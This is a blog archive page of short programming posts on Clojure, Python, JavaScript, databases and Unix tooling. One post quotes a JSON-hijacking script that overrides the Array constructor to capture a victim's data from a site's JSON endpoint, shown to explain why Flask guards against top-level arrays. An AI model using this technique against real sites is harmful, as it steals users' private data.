## Technology

January 29th, 2015

# Using gulp-diff to discover which of your Javascript won’t minify

I am astounded that the tech industry thinks this is a problem worth having. Do we really need any more evidence that HTTP and HTML and Javascript have failed and should be replaced with a new protocol?

Unfortunately, this is a generic problem with minifying code in JavaScript. Because JavaScript is untyped, it is easy to introduce errors in minification like this when variable names are counted on not changing. I personally think programming like this is an ...

January 29th, 2015

# When is dependency injection a bad thing?

Interesting:

Basically, dependency injection makes some (usually but not always valid) assumptions about the nature of your objects. If those are wrong, DI may not be the best solution:

First, most basically, DI assumes that tight coupling of object implementations is ALWAYS bad. This is the essence of the Dependency Inversion Principle: “a dependency should never be made upon a concretion; only upon an abstraction”.

This closes the dependent object to change based on a change to the concrete implementation; a class depending ...

January 28th, 2015

# Immutability changes everything, part CXXVIII

Interesting:

If I had to give a single reason to use Clojure, it would be this: immutability is awesome. It protects you from yourself in ways that aren’t immediately obvious at first, but become more apparent over time.

The argument that follows is particularly catered to the world of web development, but remains applicable in other contexts as well.

In short: application state is a source of complexity, and unwarranted complexity is a developer’s worst enemy. This is true on the basic level ...

January 22nd, 2015

# How do you enforce the integrity of your system?

I had a long conversation today with a very smart engineer. We have different views about things such as types and immutable data. It occurred to me that, in some sense, we both want the same thing: some sort of integrity check for our systems. And yet, we prefer to put these constraints in different places. His preferences:

1.) the dependency injector loads things in an order that ensures correctness

2.) the database does some (but not all) integrity checks (they ...

January 19th, 2015

# The unnecessary complexity of Ruby

Interesting:

Some imported code could be modifying methods on built-in classes. You can never be sure exactly what will happen when this Ruby code executes.

He’s right about that. “Readable” isn’t the word I’d use though: Ruby isn’t “reason-aboutable.” You can’t be completely sure what it’s going to do without running it. (No wonder Rubyists are such good testers.)

Tom agreed that Ruby could be good at expressing the intent of the programmer. This is a different goal from knowing exactly how it ...

January 19th, 2015

# The flexibility (and ease of debugging) of optional types in Clojure

Jessica Kerr has a post about optional typing in Clojure. This is related to my post How ignorant am I, and how do I formally specify that in my code? Obviously I agree with this:

It’s hard to find the difference because the difference isn’t content: it’s type. I expected a vector of a map, and got a list of a vector of a map. Joy.

I went back and added a few schemas to my functions, and the error changed to

...

January 16th, 2015

# Use an obvious alias to teach newcomers about a language

I like this comment very much, as this is something that I remember struggling with:

The examples are fairly easy to follow. Many of the examples use require to alias dependent namespaces. I think this is key when presenting Clojure examples. Having to prefix calls to library functions causes them to stand out from uses of core Clojure functions. It also lets readers know from which library each function comes from. I would have liked to see all of the examples ...

January 15th, 2015

# Why I love immutability

I love Clojure. I love immutability. Why? Maybe I lack self-discipline, or maybe my co-workers lack self-discipline (not my current co-workers, who are very talented, but people I’ve worked with in the past). I am tired of dealing with mutable variables in loops, which allow us to many easy mistakes like this:

howMuchPrizeMoney = 0; arrayOfMoneyPerCategory =[]; for (i=0; i < users.length; i++) { u = users[i]; howMuchPrizeMoney += u.prize_money; } for (i=0; i < contests.length; i++) { ...

January 14th, 2015

# Basecamp caches HTML to go fast

Interesting:

Stacker can only make things appear so fast. If actions still take 500ms to render, it’s not going to have that ultra snappy feel that Basecamp Next does. To get that sensation, your requests need to take less than 100ms. Once our caches are warm, many of our requests take less than 50ms and some even less than 20ms.

The only way we can get complex pages to take less than 50ms is to make liberal use of caching. We ...

January 14th, 2015

# Async difference between blocking and parking

Interesting:

There are two varieties of waiting: parking and blocking. Blocking is the kind of waiting you’re familiar with: a thread stops execution until a task is complete. Usually this happens when you’re performing some kind of I/O. This kind of waiting keeps the thread alive, doing no work, so that if you want your program to continue doing work you have to create a new thread. In the last chapter, you learned how to do this with future.

Parking moves the ...

January 14th, 2015

# A Pythonista reacts to Clojure’s immutability

Interesting:

Although the functional language purists will have other criteria (functions as first class values (python is already fine on this count)) the functional programming ethos is what is of interest to me: the idea of describing data transformations and piping the data through these transformations. Thats the essential, practical take-home message of functional programming and reproducibility. In pursuing these goals, we see the incorporation of some great libraries for R that allow piping and laziness, facilitating the easy composition of ...

January 14th, 2015

# Maintain acceptance test suites

Very interesting notes from Jakub Holý

How to Create Maintainable Acc. T. Suites

Good acceptance criteria (“INVEST” – especially valuable to users, testable) Layered implementation: Acceptance criteria (Given/When/Then) – as xUnit tests or with Concordion/FitNesse/… Test implementation – it’s crucial that they use a (business) domain-specific language (DSL), no direct relation to UI/API, which would make it brittle Application driver layer – translates the DSL to interactions with the API/UI, extracts and returns results Take care to keep test implementation efficient and well factored, especially wrt. ...

January 14th, 2015

# How to set up project.clj for a Clojure project

This looks great:

Some development tools, such as lein-test-refresh, are useful to have across most of your Clojure projects. Rather nicely, Leiningen supports adding global profiles to ~/.lein/profiles.clj. These profiles are available in all your projects.

{:user {:plugin-repositories [["private-plugins" {:url "private repo url"}]] :dependencies [[pjstadig/humane-test-output "0.6.0"]] :injections [(require 'pjstadig.humane-test-output) ...

January 14th, 2015

# Assertions in dynamic languages give you the benefits of static type safety, with less code and ceremony

Interesting:

Well engineered non-trivial systems written in dynamic languages embrace runtime assertions especially near public interfaces. For example here’s a snippet of code from React.js that does exactly that:

_renderValidatedComponent: function() { /* ... */ invariant( renderedComponent === null || renderedComponent === false || ReactElement.isValidElement(renderedComponent), '%s.render(): A valid ReactComponent must be returned. You may have ' + ...

January 13th, 2015

# The Internet Protocol is out of date, can RINA save us?

Interesting:

There is, of course, one clear layer violation that NAT has to deal with, but that’s not NAT’s fault either. Some application protocols put an IP address inside the application layer header. These have to be modified by NAT, so a NAT has to understand the syntax of all of these layer violating applications that it supports. The original application that did this was FTP, going back to the very early ARPANET days. FTP did this because – remember, this was a ...

January 11th, 2015

# Dependency Injection in Python and Javascript

This is a somewhat skewed story. I’m not trying to write a tutorial on Rake – I’m going to concentrate on things I find interesting rather than give a complete coverage. I’m not going to assume you know Ruby, Rake, or indeed any other build language. I’ll explain relevant bits of Ruby as I go along. Hopefully if you’ve done any messing with these, or are just interested in ...

January 11th, 2015

# Clojure tessers

Interesting:

Tesser.core looks a lot like the Clojure seq API, and many of its functions have similar names. Their semantics differ, however: Tesser folds do not preserve the order of inputs, and when executed, they run in parallel.

Applying a fold using tesser.core/tesser uses mutiple threads proportional to processor cores. Unlike reducers, we don’t use the Java forkjoin pool, just plain old threads. I’ve seen too many weird performance issues compared to regular threads.

(require '[tesser.core :as t]) (t/tesser [[1 2 3] [4 5 ...

January 9th, 2015

# The dictatorship of the GIL keeps you safe and makes you slow

But in jRuby there is no GIL, so you can go fast, and you can also hurt yourself:

Source

January 7th, 2015

# Cloxp

Interesting:

Clojure comes with a set of qualities that shape how programmers can interact with the language and runtime environment. To a large part this is derived from the powerful yet simple ideas and concepts Clojure builds on. Properties such as homoiconicity (your code is nothing special, “just” data) enable several versatile features: Meta-programming based on code transformations (macros). Documentation and other meta-data that becomes part of the actual system. Structural editing and inspection because, well, code is just data!

Clojure is ...

January 7th, 2015

# Why is modularity such a struggle in Javascript?

Surely it is suspicious that this is being so often discussed among Javascripters? Doesn’t that suggest that Javascript is being pushed to do things that it can not do?

JavaScript Modularity Shaming:

Pete Hunt of React fame recently got into an online discussion about the pros and cons of Webpack vs. Browserify. In the discussion he inadvertently coins a hilarious term for a form of rhetoric in some circles of the JavaScript community – “Modularity Shaming”. React itself has been on ...

January 7th, 2015

# Is there any point to dependency injection frameworks in dynamic languages?

2 essays, attacking dependency injection in Ruby and Python:

Python:

Dependency injection is a good idea a lot of the time. You don’t need a class to inject dependencies into, either. Every time you pass something to a free function as a parameter, instead of having the function call another function to get the information, you’re basically doing the same thing: inversion of control. Python also lets you treat modules similarly to classes in a lot of ways (certainly more ...

January 5th, 2015

# Defending Python’s Pyramid design choices

Interesting:

A canon of Python popular culture is “TIOOWTDI” (“there is only one way to do it”, a slighting, tongue-in-cheek reference to Perl’s “TIMTOWTDI”, which is an acronym for “there is more than one way to do it”).

Pyramid is, for better or worse, a “TIMTOWTDI” system. For example, it includes more than one way to resolve a URL to a view callable: via url dispatch or traversal. Multiple methods of configuration exist: imperative configuration, configuration decoration, and ZCML (optionally via ...

January 5th, 2015

# Handling HTTP routes in Python and Clojure

Very interesting:

Route handling 2 HTTP verbs in Flask (Python):

Instead of using Compojure, my simple API servers used the underlying route matcher utility, clout. This was partly because my application needed one or two simple routes and so the additional power and complexity of Compojure was unnecessary. By using clout directly, the surface area ...

January 5th, 2015

Jakub Holý has an interesting post:

Once upon time, there was a webshop portal with hundreds of partner webshops displayed on the front page. Potential users wanted to find out if their favorite webshops or a particular type of goods were available, existing users wanted to find a shop quickly. Therefore it was decided to implement search. But how to do that?

[a section about the first attempt]

Alternative 2: Minimal viable feature growing iteratively

After the original diversion, I have focused on ...

January 5th, 2015

# (Computer) Language is culture

I find it remarkable that each computer language has such a strongly unique culture. I notice that in Python-land it is common to profile the heroes of Python-land. There is no other language community that does anything like this:

This week we welcome Dr. Margherita DI LEO as our PyDev of the Week. She is our first PyLady in this series! Let’s spend some time getting to know her!

Can you tell us a little about yourself (hobbies, education, etc):

I come ...

January 4th, 2015

# The power of the double-linked list

This gave me a completely new appreciation for a data structure that I have rarely thought much about:

– First we mark the node deleted

– We walk our prev chain backwards until we find a live node, and we walk our next chain forwards until we find a live node

– We then set the next of our predecessor and the prev of our successor to each other, unconditionally

– We leave the pointers of the deleted node untouched

Now, if deletes occur ...

January 4th, 2015

# What does statistical over-fitting look like?

I like how clear this makes the mistake of over-fitting:

The model explains over 99% of the variance in the data. Like I said, not a typical data set.

View the estimates of the coefficients, and the p-values of their t-tests

(:coefs lm) (:t-probs lm) The values for coefficients b0, … b10 are (0.878 0.065 -0.066 -0.016 0.037 0.003 -0.009 -2.8273E-4 9.895E-4 1.050E-5 -4.029E-5), and the p-values are (0 0 0 1.28E-5 0 0.083 1.35E-12 0.379 3.74E-8 0.614 2.651E-5).

All the coefficients are significant except ...

January 4th, 2015

# The Linux system calls worth knowing

Very interesting:

Here are the steps that the process involves:

fwrite, together with the rest of the C standard library, is implemented in glibc*, which is one of the core components of the Linux operating system.

fwrite is essentially a wrapper for the write library call.

write will load the system call ID (which is 1 for write) and arguments into the processor registers, and then cause the processor to switch to kernel level. The way this is done depends on the processor ...

January 4th, 2015

# Object Oriented Programming is often defended with examples of Anthropomorphism Gone Wrong

So true:

The school principal is standing in front of fresh students, who need to go to their respective classrooms. Only the students don’t know which classroom yet. How can we get each student to their assigned classroom?

…When pushed too far, analogies break down. And we have pushed this one way too far. The reasons why it is better for the principal to just tell students where to go are rather specific:

First, it makes the whole process a lot faster: ...

December 31st, 2014

# Accessing Columns in SqlAlchemy

A reminder to myself:

The MetaData object contains all of the schema constructs we’ve associated with it. It supports a few methods of accessing these table objects, such as the sorted_tables accessor which returns a list of each Table object in order of foreign key dependency (that is, each table is preceded by all tables which it references):

>>> for t in metadata.sorted_tables: ... print t.name user user_preference invoice invoice_item

In most cases, individual Table objects have been explicitly declared, and these objects are typically ...

December 30th, 2014

# Always git diff HEAD before committing

Know what you’re about to push up.

Source

December 30th, 2014

# We need to stop using HTTP for software

Regarding the conversation on Hacker News, I strongly agree with “the entire stack is more less broken”. Back in 1989 Sir Tim Berners-Lee put a lot of careful thought into the design of a protocol for sharing documents using IP/TCP. However, when Ajax and Web 2.0 got going circa 2004, the emphasis was on offering software over TCP, and for that the HTTP protocol was poorly suited. Rather than carefully rethink the entire stack, and ideally come up with a ...

December 30th, 2014

# How to convert Sqlite to Postgres

I spent some hours trying to convert a Sqlite database to Postgres, and in the end, I failed. Or rather, I decided that it was no longer worth the time. I thought this would cost me 30 minutes, but hours went by and I was unable to make progress. For those using Ruby On Rails there is a good article about how to do it. I was not using any framework. Some of the problems that I ran into: ...

December 30th, 2014

# The lack of expressiveness in Go

Deduping elements of a slice happens the following way in go:

package main

import “fmt”

func main() { // Given the following list: xs := []int{8, 6, 8, 2, 4, 4, 5, 9}

// For loop is the only generic way to traverse slices, you we have to write the following: index := map[int]struct{}{} for _, x := range xs { index[x] = struct{}{} }

// We can “easily” acquire the deduped slice by using a for loop again… deduped := []int{} for ...

December 29th, 2014

# Worse is Better is often worse

Interesting:

There’s nothing inherently wrong with making tradeoffs like C++ did. And since C++ we’ve seen many instances of these sorts of tradeoffs in the software world. Scala is another recent example–a powerful functional language which makes compromises to retain easy interoperability with Java. What I want to deconstruct is the culture that has come along to rationalize these sorts tradeoffs without the need for serious justification. That is, we do not merely calculate in earnest to what extent tradeoffs are ...

December 29th, 2014

# It’s hard to preserve programmer intent across all stages down to the silicon

Interesting:

All modern and advanced compilers convert source code through various stages and representation into an internal data-flow representation, usually a variant of SSA. The compiler backend converts that back to an imperative representation, i.e. machine code. That entails many complicated transforms e.g. register allocation, instruction selection, instruction scheduling and so on. Lots of heuristics are used to tame their NP-complete nature. That implies missing some optimization opportunities, of course.

OTOH a modern CPU uses super-scalar and out-of-order execution. So the first thing it has to do, is to perform ...

December 29th, 2014

# Quality should be the responsibility of one person

The stuff about quality is interesting. The rest is a misguided rant that gets all of its historical facts wrong. Unix fractured in the 90s? Good lord! It was fractured a long time before that.

One of Brooks’s many excellent points is that quality happens only if somebody has the responsibility for it, and that “somebody” can be no more than one single person—with an exception for a dynamic duo. I am surprised that Brooks does not cite Unix as ...

December 29th, 2014

# Which module should we use for RESTful APIs in Python?

In Python we have a great many HTTP modules to choose from:

urllib2 httplib httplib2 pycurl requests

Balthazar offers a good overview of the modules and concludes:

requests

Finally, let’s see how to create a Github repo with requests.

import requests, json github_url = "https://api.github.com/user/repos" data = json.dumps({'name':'test', 'description':'some test repo'}) r = requests.post(github_url, data, auth=('user', '*****')) print r.json

Wait, is that it? No CreateManagerWithExtraLargeName() method call? No manual credential sending? Well, no. requests was designed to be an HTTP high level API, supporting all HTTP methods, SSL encryption, proxies, redirection, caching, etc.

I ...

December 29th, 2014

# How to imitate the Flask app.route() decorator

Interesting:

Now we’re almost there! But what use is that dictionary of routes if there’s no way to access the view functions inside of it? Lets add a method serve(path), which gives us the result of running a function for a given route if it exists or raises an exception if the route has not been registered yet.

class NotFlask(): def __init__(self): self.routes = {} def route(self, route_str): ...

December 26th, 2014

# Boring is good in Python’s __init__

Interesting:

You might notice that these three observations I’ve made all sound a bit negative. You might conclude that I think this is an antipattern to be avoided. If so, feel free to give yourself a pat on the back at this point.

But if this is an antipattern, is there a pattern to use instead? I think so. I’ll try to explain it.

The general idea behind the pattern I’m going to suggest comes in two parts. The first part is ...

December 24th, 2014

# Get SqlAlchemy to call CREATE SCHEMA to keep PostGres happy

I have a SqlAlchemy model with a schema argument like so:

Base = declarative_base()

class Road(Base): __tablename__ = “roads” __table_args__ = {‘schema’: ‘my_schema’} id = Column(Integer, primary_key=True)

When I use Base.metadata.create_all(engine) it correctly issues a CREATE TABLE with the schema name on the front like so “CREATE TABLE my_schema.roads (” but Postgresql rightly complains that the schema doesn’t exist.

Am I missing a step to get SqlAlchemy to issue the CREATE SCHEMA my_schema or do I have to call this ...

December 24th, 2014

# Generate Python models from an SQL schema

Just a reminder to myself, this is how we should generate Python models for our SQL:

from sqlalchemy import create_engine, MetaData, Table, Column, ForeignKey engine = create_engine("sqlite:///mydatabase.db") # produce our own MetaData object metadata = MetaData() # we can reflect it ourselves from a database, using options # such as 'only' to limit what tables we look at... metadata.reflect(engine, only=['user', 'address']) # ... or just define our own Table objects with it (or combine both) Table('user_order', metadata, ...

December 24th, 2014

# .tgz file- tar: Unrecognized archive format

I got this error during a build:

.tgz file- tar: Unrecognized archive format

Turned out I was working against a mirror that was no longer being updated. I had read instructions telling me to set a particular URL for a mirror in my .zshrc file, but the mirror was out of date to whatever was downloaded was wrong.

This was a tough bug.

Source

December 24th, 2014

# Why callback hell is hell

This is great:

In the example above, it’s disturbing that simple and intuitively harmless changes introduced such drastic errors. Experientially, it’s kind of like executing print 2 + 2 and seeing 5. What was it about that logging API that turned us into such bad programmers?

The specification of a typical callback-based API is simple: pass in any function and it will get called when the relevant event happens. Unfortunately, this simple specification doesn’t reflect reality. You can’t just call any function ...

December 24th, 2014

# git pull –rebase

Tried to push to git and got ref errors? A reminder to myself:

If the GitHub repo has seen new commits pushed to it, while you were working locally, I would advice for:

git pull –rebase git push

The full syntax is:

git pull –rebase origin master git push origin master

That way, you would replay (the –rebase part) your local commits on top of the newly updated origin/master (or origin/yourBranch: git pull origin yourBranch).

See a more complete example in the chapter 6 Pull with rebase ...

December 21st, 2014

# Guido van Rossum agrees with me

When I wrote How ignorant am I, and how do I formally specify that in my code? I said:

For decades, computer programmers have argued with each other over the issue of strict data-type enforcement, versus dynamic data-type unenforcement. And after 16 years of computer programming, I have come down firmly in the middle: I like optional typing.

Clojure allows me to work dynamically, but to type hint when I want to, so I can get the performance benefits of type ...

December 20th, 2014

Interesting:

I “write” a Call Option when I sell someone the right, but not the obligation, to buy in the future an agreed quantity of something at an price that is fixed now. So, for a payment now, I agree to sell you 10,000 chocolate santas[1] at 56 pence each, at any time up to 10th December. You’re prepared to pay the premium because you want to know that you’ll have santas in your stores at a price you can ...

December 20th, 2014

# Which is better, MongoDB or Postgres?

I am very impressed with the new JSON features in Postgres 9.4. So can Postgres completely replace MongoDB? There are some grouping and aggregate functions that MongoDB has that Postgres does not have. More so, at the Mongo shell I have access to the entire Javascript language, whereas Postgres only gives me SQL plus some cool extensions. I recently found out about “WITH” statements in Postgres. From the point of view of SQL, this is the coolest thing ever. From ...

December 20th, 2014

# An outside perspective on SqlAlchemy

Interesting:

For starters, as you might expect from the difference in Ruby vs. Python cultures, SQLAlchemy is more explicit than ActiveRecord. SQLAlchemy has what is called a “declarative” mode where you define your class and your table all at once (within a class that inherits from SQLAlchemy’s declarative_base class). But you can also explicitly create, edit, and inspect an explicit metadata object which defines the table. Then you can define a Python class for your object – and then use SQLAlchemy’s ...

December 19th, 2014

# The big Python surprise: a culture of composable libraries, like Clojure

It is well known that Clojure has a culture best summarized as “Clojure developers prefer to assemble their own stack from small, composable libraries.”

I have been working with Python lately. I am surprised by that it also has a culture of using small libraries. There have been 2 attempts at monolithic frameworks in Python: Zope and Django (maybe Pylons, though it is done as separate libraries, sort of like Symfony2 in PHP). But for the most part, Python goes for ...

December 19th, 2014

# What happens if you introduce a new pattern in your software but never replace the old?

This is very good:

Each new design and technology choice never completely replaced the one that went before. The application has archaeological layers revealing it’s history and the different technological fashions taken up successively by Laurence, Bruce, Ina and Gordy. If you look along the Version 4 line, you can see that there are four different ways of doing the same thing scattered throughout the code base.

Each successive lead developer acted in good faith. They genuinely wanted to improve the application ...

December 18th, 2014

# How to install Postgres

By coincidence, I installed Postgres 9.3 yesterday and today they released 9.4 so I’m doing it all over again. This was a good setup guide.

Source

December 16th, 2014

# Is PostGreSQL text search good enough?

Some interesting commentary:

As much as I would like it to be ‘good enough’, Postgres’ full text search lacks the feature set to be a reasonable solution to most search use cases. Background: I wrote a product search engine for a company called iTrackr using Postgres full text search, and later wrote the product search for milo.com using Solr. I also designed a simple (but very effective) algorithm to boost search rankings based on historical user click data, by generalizing click data ...

December 15th, 2014

# Logging activity can be expensive

Scaling issues.

Source

December 15th, 2014

# dtrace: error on enabled probe ID 5 (ID 992: io:mach_kernel:buf_strategy:start): illegal operation in action #3 at DIF offset 0

If I run “iotop” I see this error:

I looked into it and found this on StackOverflow:

I’ve looked into it a bit deeper and it does seem that it’s MySQL causing these heavy pulsing writes. When a table has an entry added or updated, does it have to re-write the entire table to disk or could it append/modify existing data? We are using MyISAM tables. We are also using SELECT queries with ORDER BY and TEXT fields, which of course require ...

December 3rd, 2014

# Java gave me a choice that I didn’t need, and I made the wrong choice

Interesting story:

I made a bug once, and I need to tell you about it. So, in 2001, I wrote a reference library for JSON, in Java, and in it, I had this line

private int index

that created a variable called “index” which counted the number of characters in the JSON text that we were parsing, and it was used to produce an ...

November 30th, 2014

# Why use Java?

This article is called “Java For Everything” and it makes a good case for re-using the same language over and over again, but it does not make any case for Java.

This makes clear of using the language that you know best:

And finally, I went to write a simple program that put up a web interface. I considered using Python, but this would have required me to figure out how to serve pages from its library. I had already ...

November 30th, 2014

# Letting others write your Emacs config

This is an interesting attitude:

After a long time of maintaining my own configuration I took the decision a few years ago to outsource it to people who really care about this stuff. I started with the Emacs Prelude (http://batsov.com/prelude/) which introduced me to some great tools. I recently switched to Vim bindings (evil-mode) and a week ago switched to Spacemacs (https://github.com/syl20bnr/spacemacs) which integrates better with evil-mode . So far I’m really liking the Spacemacs approach. tl;dr: Just use one of the ...

November 29th, 2014

# peerinvalid The package mocha does not satisfy its siblings’ peerDependencies requirements!

Setting up a new complicated system. I got to the point where “make build” completed. But I run into trouble with “make run”.

I don’t know why this error exists:

npm ERR! peerinvalid The package mocha does not satisfy its siblings’ peerDependencies requirements! npm ERR! peerinvalid Peer karma-mocha@0.1.9 wants mocha@* npm ERR! peerinvalid Peer mocha-as-promised@2.0.0 wants mocha@>= 1.8.0 Source

November 29th, 2014

# nixd is an automation framework to build your application environment

I am not clear why this is better than running a VM but this is an interesting attempt to fix the problem of setting up complex systems on machine:

nixd is an automation framework to build your application environment for development and production. It sits between build tools and configuration management engines, and lets you write simple shell scripts with hooks that will reliably get you from pristine source to running code in one command, and make every attempt to ...

November 29th, 2014

# We need a unified abstraction for apps to discover each others formats

Myself and a friend exchanged some email regarding the article “The Future of Asynchronous IO in Python”. My friend wrote:

Seems like he wants zmq/nanomsg embedded inside Python. I am not really sure why.

I responded:

I think what he is suggesting is more interesting: a single, unified way of speaking to all protocols (MySql, MongoDB, Redis, Kafka, etc). When he says “protocol” I think he means “byte format”. He points out that each app generally has its own method of ...

November 27th, 2014

# Slingshot cleans up its “catch any exception or object” syntax

Personally, I am pleased to see Slingshot improve this, as it is has long been a source of confusion. Paul Stadig writes a long comment that is critical of this change, but I disagree with his assumptions, especially here:

“It is confusing to have a class selector that selects against the wrapped object instead of the wrapper.” In other words (catch RuntimeException e …) selects against the wrapper object that is thrown whereas (catch Object o …) selects against ...

November 27th, 2014

# Why use Github and also Google Groups for an open source project?

This seems to be a universal pattern, where an open source project has both a Github account and a Google Groups mailist, but is the mailist really needed? Why not just use the tools offered by Github (issues, the wiki, etc). I like that Monger introduced a Feature Request label on Github:

Source

November 27th, 2014

Assertions don’t seem to be used very often in Python, but they are used in Flask:

eugene-eeo started the conversation:

eugene-eeo commented 10 hours ago

I was browsing through the source and found it weird that asserts were used instead of normal exceptions.

untitaker replied:

Alright. Because Flask is using assert-statements exactly as usually recommended. The Python wiki explains the meaning of assertion errors:

Assertions are not a substitute for unit tests or system tests, but rather a complement. Because assertions are a ...

November 27th, 2014

# Can Gunicorn die if bash quits before forking is done?

A very intersting bug:

Sly010 does some epic digging to find out why Gunicorn sometimes dies on startup:

Did a bit more digging:

# relevant section from daemonize() in util.py

if os.fork(): os._exit(0) os.setsid() ...

# (added 3 prints) # 3 out of 5 times this prints “1″ then silence. No gunicorn. # There is no error message and nothing in the logs.

if os.fork(): print "1" os._exit(0) print "2" os.setsid() print "3" ... # (added an extra sleep) # This prints 1,2,3 (but I would ...

November 27th, 2014

# The effects of signal() in a multithreaded process are unspecified

I did not know this, and I find this very surprising:

Continuing reading the manual page, the very first note under the NOTES section is this:

The effects of signal() in a multithreaded process are unspecified.

This is called Unspecified Behavior. What it means is that standard does not say anything as for how the function should behave in a multi-threaded environment. Therefore, it may exhibit a different behavior on different systems including different versions of the same system, at discretion of ...

November 27th, 2014

# Why I don’t use classes or protocols in Clojure

This post on Github sums it up very well. For almost every situation where, in an object oriented language, I would reach for interfaces and classes, in Clojure I tend to just use multi-methods.

The key issue is polymorphism. All of us want to work in a language that gives us powerful forms of polymorphism. All of the major languages offer us some types of polymorphism, but let us ask, which gives us the most powerful and flexible forms? ...

November 27th, 2014

# Returning an object from eval() in Javascript

I did not know this:

eval parses its argument in statement context. You have to put parentheses around an object literal if you want eval to return an object:

> eval(‘{ foo: 123 }’) 123

> eval(‘({ foo: 123 })’) { foo: 123 }

Source

November 27th, 2014

# A basic skeleton for python decorators

This is a nice resource that I will almost certainly come back to:

### Example usage ### class PrintDebugDecorator(Decorator): def _call(self, *args, **kwargs): print 'calling', self._f, 'with', args, 'and', kwargs return self._f(*args, **kwargs) class ModuloDecorator(Decorator): def _init(self, n=None): self.__n = n if n else 42 def _call(self, *args, **kwargs): ...

November 27th, 2014

# Protecting against JSON attacks in Flask

Interesting debate. So where should Flask enforce safety for the handling of JSON?

dghubble commented 18 hours ago

My understanding is that the previous behavior (always converting the args to a dict) was sufficient to always prevent a top level json list, but blocked the legitimate use case of jsonify’ing an object for which one has written a custom JSONEncoder. This PR seems to enable that ability, while still protecting against top level json lists.

Whether json lists are considered a vulnerability Flask ...

November 27th, 2014

# Top level arrays in Javascript are dangerous: Register callback on Javascript Array setters

Interesting attack:

So now what happens if a clever hacker is embedding this to his website and social engineers a victim to visiting his site:

<script type=text/javascript> var captured = []; var oldArray = Array; function Array() { var obj = this, id = 0, capture = function(value) { obj.__defineSetter__(id++, capture); if (value) captured.push(value); }; capture(); } </script> <script type=text/javascript src=http://example.com/api/get_friends.json></script> <script type=text/javascript> Array = oldArray; // now we have all the data in the ...

November 27th, 2014

# Weird that under Python 3.4 runtime you can import from 2.7

Interesting:

Weird that under Python 3.4 runtime you can import from 2.7. That should not be possible for all those sanity reasons.

Because allowing that means:

Thanks. I might miss something obvious but when using gunicorn MYPROJECT.wsgi:application i get:

File “/virtualenv/lib/python3.4/site-packages/django/utils/timezone.py”, line 13, in import pytz File “/virtualenv/lib/python3.4/site-packages/pytz/__init__.py”, line 37, in from pytz.lazy import LazyDict, LazyList, LazySet File “/virtualenv/lib/python3.4/site-packages/pytz/lazy.py”, line 3, in from UserDict import DictMixin File “/usr/lib/python2.7/UserDict.py”, line ...

November 26th, 2014

# Prepare for broken builds

Funny:

Source

November 26th, 2014

# Every programming language has its own culture

It is interesting to note that this article about decorators in Python does not use the “word” closure, even though that would be the obvious way of talking about these, were we discussing a language like Javascript, where discussion of closures has been central to the culture since Doug Crockford first discussed them back in 2001.

So, decorators are an application of closures, i.e. closures applied to functions? Could you explain the ...

November 26th, 2014

# Ugly mutable parts of Python

I like Python more than PHP, but the mutable parts of Python are as ugly as PHP. This function is an exampe:

def transform_words(content, targets, transform): """Return a string based on *content* but with each occurrence of words in *targets* replaced with the result of applying *transform* to it.""" result = '' for word in content.split(): if word ...

November 24th, 2014

# Python and its discontents

Python started off as a clean procedural language, with some immutable objects that would have allowed it to evolve into a beautiful functional language, but instead, with version 3, it veered in the direction of classic object oriented programming. I disappointed by this and so I have some interest in the various disappointments expressed by others:

By far my biggest problem with the language is the stupid slot system. I do not mean the __slots__ but the internal type slots for ...

November 24th, 2014

# An abundance of file watchers in Clojure

This is a good overview of the file watchers in Clojure. I had no idea there were so many:

Typically file watchers are implemented using either one of two patterns:

verb based – (add-watch directory callback options)

noun based – (start (watcher callback options))

The difference is very subtle and really centers around the verb start. If the verb start does not exist, we can treat the file-watch as an action on the file object. However if it does exist, we can treat ...

November 24th, 2014

# Instant dashboard with the ELK stack?

I need to build some dashboards for a business. I am impressed with Riak but I would have to find some way to build the dashboard. In theory, the ELK stack gives an almost instant dashboard. I am not at all interested in Logstash, but the rest of this sounds interesting:

We’ve built a data analysis and dashboarding infrastructure for one of our clients over the past few weeks. They collect about 10 million data points a day. Yes, that’s ...

November 24th, 2014

# How to write errors to the terminal while booting a daemon

A very clever trick from Unicorn, which can probably be used everywhere:

And then there’s the ready_pipe Unicorn uses, which is actually quite an amazing trick. See, if you want to daemonize a process under Unix, you need to call fork(2) two times (and do some other things) so the process is completely detached from the controlling terminal and the shell thinks is the process is done and gives you a new prompt.

What Unicorn does when you tell it to run ...

November 24th, 2014

# Using Emacs Eshell as the ultimate shell

Very interesting idea, I am tempted to try it:

File Selection

If all you were doing was renaming a single file, or changing access permissions on all files in a directory, you’d hardly need a flexible shell, as dired or even Finder is sufficient for those tasks. A shell comes in handy when selecting a subset of files based on a pattern, and EShell really shines here, because of its filters.

$ls -al *.mp3(^U) # Show songs I don’t own If ... Read More Source November 23rd, 2014 No Comments # The Tracy-Widom distribution Interesting: The Tracy-Widom distribution is an asymmetrical statistical bump, steeper on the left side than the right. Suitably scaled, its summit sits at a telltale value: √2N, the square root of twice the number of variables in the systems that give rise to it and the exact transition point between stability and instability that May calculated for his model ecosystem. The transition point corresponded to a property of his matrix model called the “largest eigenvalue”: the greatest in a series of ... Read More Source November 23rd, 2014 No Comments # Setting up a daemon to run automatically at startup If I sudo to root and run: ls -alh /etc/rc2.d/ I see something like this: Apparently, on Ubuntu, the creation of these links is managed by update-rc.d DESCRIPTION update-rc.d updates the System V style init script links /etc/rcrunlevel.d/NNname whose target is the script /etc/init.d/name. These links are run ... Read More Source November 23rd, 2014 No Comments # Controlling the aggressiveness of swap Interesting: sysctl is similar ulimit: It allows to configure kernel parameters at runtime. If you wish to keep settings persistent across reboots you should edit /etc/sysctl.conf – be aware that wrong settings may break things in unforeseen ways. Code Listing 4: Exploring sysctl variables # sysctl -a … vm.swappiness = 60 … The list of variables is quite long (367 lines on my system), but I picked out vm.swappiness here. It controls how aggressive swapping will be, the higher it is (with a maximum of ... Read More Source November 23rd, 2014 No Comments # Escort for command line utilities in Ruby This looks awesome: A lot of the existing CLI making libraries delegate to OptionParser for actually parsing the option string, while OptionParser is nice it doesn’t allow things like specifying the same option multiple times (e.g. like CURL -H parameter) which I like and use quite often. Trollop handles this case nicely, so a Trollop-based CLI tool is superior. Also a lot of the other CLI libraries in an attempt to be extra terse and DRY make their syntax a little ... Read More Source November 23rd, 2014 No Comments # Login into remote server with one word alias I need to remind myself of this every time: The SSH config file is a set of key-value pairs. One type of setting is a Host keyword with other attributes. Thus, an appropriate Host entry might be:$ cat .ssh/config Host annoying HostName annoying.hostname.example.org User admin Port 22022 Now the previous examples become:

